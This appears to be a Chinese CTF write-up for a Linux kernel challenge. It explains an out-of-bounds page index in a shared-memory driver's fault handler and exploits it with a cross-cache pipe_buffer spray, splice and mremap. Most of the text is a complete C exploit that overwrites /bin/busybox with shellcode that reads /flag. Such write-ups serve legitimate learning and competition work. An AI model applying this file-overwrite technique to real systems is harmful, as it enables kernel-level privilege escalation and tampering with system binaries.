logger_internal((__int64)&unk_1C68, a3, v4, v5, v6, v7, v67);
goto LABEL_17;
}

漏洞出现在 d3kshrm_vm_fault 中:

当 pgoff == v1->page_count 时会出现越界索引,若 page_count 为 0x200 即 page 结构体指针刚好占满,此时 v4 获取到的就是与该 pages 相邻的结构体的前八字节的内容。如果该 pages 刚好是 d3kshrm_cache slab 的最下方 object,那我们就能够实现 cross cache 的越界索引

接下来就非常的简单了,我们可以在与该 slab 相邻的 page 上喷 pipe buffer 并使用 splice 让 pipe 的 page 指针指向一个文件映射页,那我们就能够通过越界索引实现对文件的越权写入。

这里需要注意的是 pipe_buffer 不能瞎喷,不然可能永远都喷不到:

1
2
3
4
5
6
7
8
9
10
/home/ctf # cat /sys/kernel/slab/kmalloc-1k/order
2
/home/ctf # cat /sys/kernel/slab/d3kshrm_cache/order
3
/home/ctf # cat /sys/kernel/slab/kmalloc-1k/order
2
/home/ctf # cat /sys/kernel/slab/kmalloc-2k/order
3
/home/ctf # cat /sys/kernel/slab/kmalloc-4k/order
3

注意到 d3kshrm_cache 的 order 为 3,所以我们喷的 pipe_buffer 也应该在 order-3,这里我选择的是 kmalloc-2k

最后的问题是如何调用 d3kshrm_vm_fault,在内核驱动中 fault 函数是用来处理缺页异常的核心回调函数,负责在用户空间访问共享内存时动态建立物理映射,所以我们只需要在用户空间访问到相应偏移的虚拟地址即可控制 pgoff 的值

但 d3kshrm_mmap 函数做了严格的索引检查,我们无法直接通过 mmap 来申请出溢出的 page 的虚拟地址,后面问了下 tplus 师傅发现可以使用 mremap 来扩大我们的虚拟地址 :)

下面给出最终的 exp,由于该 exp 成功的需要 oob pages object 在 d3kshrm_cache slab 的最下方,所以成功概率只有 1/8 :(

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <sys/uio.h>

#define REGION_NUM 0x20
#define BUF_SIZE 0x400

char buf[BUF_SIZE];
int region_id[REGION_NUM];
void *victim_map;
int vuln_id;

#define MAX_PIPE_COUNT 0x80

int pipe_fd[MAX_PIPE_COUNT][2];

void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}

void pipe_buffer_resize(){
for(int i = 0; i < MAX_PIPE_COUNT; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 32) < 0) {
perror("resize pipe");
exit(0);
}
}
}

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

unsigned char elf_code[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
};

int fd;
int add(size_t num){
return ioctl(fd, 0x3361626e, num);
}

void delete(size_t index){
ioctl(fd, 0x74747261, index);
}

void bd(size_t id){
ioctl(fd, 0x746e6162, id);
}

void jb(size_t index){
ioctl(fd, 0x33746172, index);
}

int main(){
FILE *file;
const char *filename = "/tmp/elf";

file = fopen(filename, "w");
if (file == NULL) {
perror("Error opening file");
return 1;
}
fclose(file);

bind_core(0);
save_status();

fd = open("/proc/d3kshrm",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

spray_pipes(0, MAX_PIPE_COUNT);

puts("[*] Allocate pages.");
for(int i = 0; i < REGION_NUM; i++){
region_id[i] = add(1);
}

printf("[*] vuln id: %d. \n", vuln_id);

puts("[*] Delete some pages");
for(int i = 0x19; i < REGION_NUM; i++){
delete(region_id[i]);
}

puts("[*] Resize pipe buffer");
pipe_buffer_resize();

int victim_fd = open("/bin/busybox", O_RDONLY);
loff_t offset = 1;

puts("[*] Splice pipe");
for(int i = 0; i < MAX_PIPE_COUNT; i ++){
if(splice(victim_fd, &offset, pipe_fd[i][1], NULL, 1, 0) < 0) {
printf("[-] Failed to splice pipe %d\n", i);
err_exit("Failed to splice pipe");
return -1;
}
}

puts("[*] Allocate victim pages.");
vuln_id = add(0x200);

bd(vuln_id);

victim_map = mmap(NULL, 0x1000*0x200, PROT_READ|PROT_WRITE,
MAP_SHARED, fd, 0);

printf("[*] mmap address 0: %p \n",victim_map);

victim_map = mremap(victim_map, 0x1000*0x200, 0x1000*0x201, MREMAP_MAYMOVE);

printf("[*] mmap 0 new address: %p .\n", victim_map);

binary_dump("Victim file data", (void*)(victim_map + 0x1000*0x200), 0x100);

puts("[*] Write elf code to busybox.");
memcpy((void*)(victim_map + 0x1000*0x200), elf_code, sizeof(elf_code));

puts("[+] EXP END.");
return 0;
}

总结

哎,圈圈,你怎么又看 CTF 了 :(
感谢 a3 师傅出的题,还是第一次见漏洞出现在 fault 函数上
听 a3 师傅说他的 exp 成功率能达到百分之 80 以上,我目前的想法是申请多个 page 指针数量等于 0x200 的 pages,然后依次越界并依次判断越界的 object 是否出于 slab 的最下方。但由于太忙没时间去验证和优化我的 exp (保研边缘人 and 考研玩家是这样的😭)
经过好几个月的深思熟虑,最后决定把学习的重心转移到软件安全和 ai 上,希望将来的我还能够做出来 pwn 题把:)